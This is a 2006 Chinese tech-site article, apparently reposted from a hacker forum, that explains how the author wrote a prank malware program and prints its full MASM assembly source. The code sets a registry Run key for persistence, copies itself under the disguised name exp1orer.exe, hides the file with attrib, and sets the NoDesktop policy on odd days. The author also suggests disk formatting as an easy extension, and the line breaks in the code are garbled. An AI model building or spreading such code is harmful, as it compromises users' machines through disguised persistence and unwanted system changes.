IT运维管理,创造商业价值!
中国IT运维网首页 | 资讯中心 | 运维管理 | 信息安全 | CIO视界 | 云计算 | 最佳案例 | 运维资源 | 专题策划 | 知识库 | 论坛

恶意程序是怎样写成的

2006年11月17日
/

本来想写个“红色代码Ⅳ”,不过病毒的首要特征,例如API重定位,调用GetKBase 得到Kernel32.dll的基地址,然后再调用调用GetAPIz得到病毒所需要的API,在汇编上实现这些,目前对我来说有难度。在感染过程,要考虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的PE文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建Base64编码等方面,我略有缺陷。

病毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环。

在程序的开头,调用_createKey子程序设置了启动的键值:


szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',

0szRegValue db ''StartPE'',

0szStr1 db "C:\WINDOWS\System32\exp1orer.exe"

这些就是第一步所以设定的。在启动方式中,估计注册表Run启动是最脆弱的,复制到启动文件夹的话,又明显。最好的办法是创建远程线程,然后打开文件管理器 xplorer.exe插入,并且还能隐藏。有个例子是隐藏窗口进程的,桌面的窗口类是“Progman”,我想插进去rundll32.exe,无奈不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉。

在开机后,我加入了判断本地时间后发作的代码:

invoke GetSystemTime,offset 

lpSystemTimemovzx ebx,lpSystemTime.wDay.if (ebx == 1)|

|(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)|

|(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)|

|(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29)

在win32API 中,对GetSystemTime的描述是“在一个SYSTEMTIME中载入当前系统时间,这个时间采用的是‘协同世界时间’(即UTC,也叫做 GMT)格式”,参数只有一个“lpSystemTime”,并要定义一个“SYSTEMTIME”结构 “lpSystemTime SYSTEMTIME ”。如果今天是1,3,5,7,9……,27,29,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录 [注:这个系统目录,我定义成"szWin db ''C:\windows\system32\exp1orer.exe'',0")所以在windows2000以下的系统,是不能复制的。

invoke GetModuleFileName,hModule,addr szDirectory,

200invoke CopyFile,addr szDirectory,addr szWin,FALSE

利用GetModuleFileName获取路径,然后调用CopyFile,复制到系统目录去。接着“call _AttribCmd”,调用了“_AttribCmd”这个子程序设置只读,隐藏属性。“_AttribCmd”代码描述如下:

_AttribCmd procinvoke GetStartupInfo,

addr stStartUpinvoke createProcess,NULL,

addr szCmdAttrib,NULL,NULL,NULL,

\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,

addr stProcInforet_AttribCmd endp

很显然,是调用了createProcess创建一个带szCmdAttrib参数的进程。这样,一些用命令参数的程序,可以这样编程来运行,例如 ping,首先设定变量“szCmd db ''c:\windows\system32\ping.exe IP -t'',0”,描述代码是:

.dataszCmd db

''c:\windows\system32\ping.exe IP -t'',

0.data?stStartUp STARTUPINFO

stProcInfo PROCESS_INFORMATION .

codestart:invoke GetStartupInfo,

addr stStartUpinvoke createProcess,NULL,

addr szCmdAttrib,NULL,NULL,NULL,

\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,

addr stProcInfoend start

本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计MM是认为感染了病毒。

.dataszWriteKey db ''

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',

0szWriteValue db ''NoDesktop'',0 ;键值名称szDword dd 1 ;数据

调用了子程序_WriteKey来完成:

_WriteKey proc _lpKeylocal @hKey,

@dwIndex,@dwLastTime:FILETIMEinvoke RegcreateKey,

HKEY_CURRENT_USER,offset szWriteKey,

addr @hKey.if eax == ERROR_SUCCESSinvoke RegSetValueEx,@hKey,

addr szWriteValue,NULL,\REG_DWORD,addr szDword,

4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,

@hKey.endifret_WriteKey endp

做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。如果要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:

.386.model flat,

stdcalloption casemap:noneinclude windows.incinclude

kernel32.incinclude user32.incinclude advapi32.incincludelib

kernel32.libincludelib user32.libincludelib

advapi32.lib.dataszWin db ''C:\windows\system32\exp1orer.exe'',

0szCmdAttrib db ''attrib +R +H C:\windows\system32\exp1orer.exe'',

0szDirectory db 0szRegKey db ''

SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',

0szRegValue db ''StartPE'',

0szStr1 db "C:\WINDOWS\System32\exp1orer.exe"szWriteKey

db ''Software\Microsoft\Windows\CurrentVersion\

Policies\Explorer\'',0szWriteValue db ''NoDesktop'',0 ;

键值名称szDword dd 1 ;数据.data?hInstance dd ?hModule dd

?lpSystemTime SYSTEMTIME osVersion OSVERSIONINFO

stStartUp STARTUPINFO stProcInfo PROCESS_INFORMATION

.code;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_AttribCmd procinvoke GetStartupInfo,addr stStartUpinvoke

createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,

\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,

addr stProcInforet_AttribCmd endp;>>>>>>>>>>>>>>>>>>

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_createKey proc _lpKeylocal @hKey,@dwIndex,@dwLastTime:FILETIMEinvoke

RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,

addr @hKey.if eax == ERROR_SUCCESSinvoke RegSetValueEx,

@hKey,addr szRegValue,NULL,\REG_SZ,addr szStr1,32 ;

写入一个REG_SZ类型的数据invoke RegCloseKey,

@hKey.endifret_createKey endp;>>>>>>>>>>>>>>>

_WriteKey proc _lpKeylocal @hKey,@dwIndex,

@dwLastTime:FILETIMEinvoke RegcreateKey,

HKEY_CURRENT_USER,

offset szWriteKey,addr @hKey.if eax

== ERROR_SUCCESSinvoke RegSetValueEx,@hKey,

addr szWriteValue,NULL,\REG_DWORD,addr szDword,

4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,

@hKey.endifret_WriteKey endp;>>>>>>>>>>>>>>>>>>>>>>>>>>

start:invoke GetModuleHandle,0mov hInstance,eaxinvoke _createKey,

NULL ;设置为启动invoke GetSystemTime,offset lpSystemTimemovzx ebx,

lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。

.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)|

|(ebx == 9)|
|(ebx == 11)||(ebx == 13)||(ebx == 15)|

|(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)|
|(ebx == 25)|

|(ebx == 27)||(ebx == 29)invoke GetModuleFileName,

hModule,addr szDirectory,200;获取程序路径invoke CopyFile,

addr szDirectory,addr szWin,FALSEcall _AttribCmdinvoke _WriteKey,NULL

;修改注册表,隐藏桌面图表invoke deleteFile,

addr szDirectoryinvoke ExitProcess,NULL.endifend start

这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createProcess”,但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关。


发表评论请到:http://bbs.cnitom.com

相关阅读

图文热点

Power架构产品创新 IBM推动其本土化发展
Power架构产品创新 IBM推动其本土化发展自从1990年,IBM推出基于RISC系统的新产品线RS/6000(现称eServer p系列)之后,...
WAF:高校Web应用安全守护者
WAF:高校Web应用安全守护者最近几年高校网站被攻击的事件时有发生,造成了不良影响,因此越来越多的高校开始...

本类热点